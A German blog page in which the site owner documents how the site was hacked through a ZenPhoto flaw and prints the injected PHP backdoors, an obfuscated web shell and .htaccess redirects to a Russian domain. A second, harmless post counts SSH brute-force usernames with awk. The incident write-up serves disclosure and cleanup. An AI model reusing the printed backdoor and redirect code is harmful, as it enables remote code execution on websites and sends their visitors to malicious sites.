harmes.de wurde gekapert

Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4

Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.

Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.

Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen „geschützt“.

Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:

$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = „lb11“; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = „102“; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } } else { if($_COOKIE[$sessdt_k]==“102″) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } $sessdt_j = @$_SERVER[„HTTP_HOST“].@$_SERVER[„REQUEST_URI“]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = „http://turnitupnow.net/?rnd=“.$sessdt_f.substr($sessdt_v,-200); echo „<script src=’$sessdt_u‘></script>“; echo „<meta http-equiv=’refresh‘ content=’0;url=http://$sessdt_j‘><!–„; } } $sessdt_p = „showimg“; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

Außerdem wurden in den Hauptverzeichnissen Dateien á la „tmp_2981577430561915.php“ angelegt:

                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,

110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,

115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,

99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,

73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,

114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,

116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,

99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,

114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&&strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?>

 

Und sämtliche .htaccess-Dateien wurden angepasst:

ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]

Top 10 der Usernamen bei ssh Brute-Force-Attacken

Yuri hat einen hübschen awk-Befehl gebaut, um sich eine Statistik der fehlgeschlagenen Anmeldeversuche ausgeben zu lassen.

http://yurisk.info/2010/06/04/top-10-usernames-used-in-ssh-brute-force/

[sourcecode language=“shell“]
awk ‚/Failed password for/ ‚ /var/log/secure* | sed ’s/.* \([[:print:]]\+\) from .*/ \1 /g ‚ | sort | uniq -c | sort -n -k1
[/sourcecode]

Das könnte dann z.B. so aussehen:


189 tester
190 123456
205 www
218 testing
255 user
293 guest
354 oracle
603 test
723 admin
14321 root